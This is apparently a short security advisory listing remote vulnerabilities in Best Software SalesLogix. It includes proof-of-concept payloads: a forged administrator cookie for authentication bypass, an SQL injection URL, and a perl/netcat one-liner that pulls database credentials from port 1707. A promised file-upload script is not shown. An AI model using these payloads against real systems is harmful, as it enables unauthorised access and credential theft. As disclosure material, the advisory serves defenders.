|
|
Best Software SalesLogix Multiple Remote Vulnerabilities
The following proof of concepts have been provided: Admin authentication bypass cookie value: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator| SQL Injection example: http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id=[SQL] Revealing the database username and password: perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 . "GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4 1707 Finally the following script has been provided as a proof of concept for the file upload issue: |
|
Privacy Statement |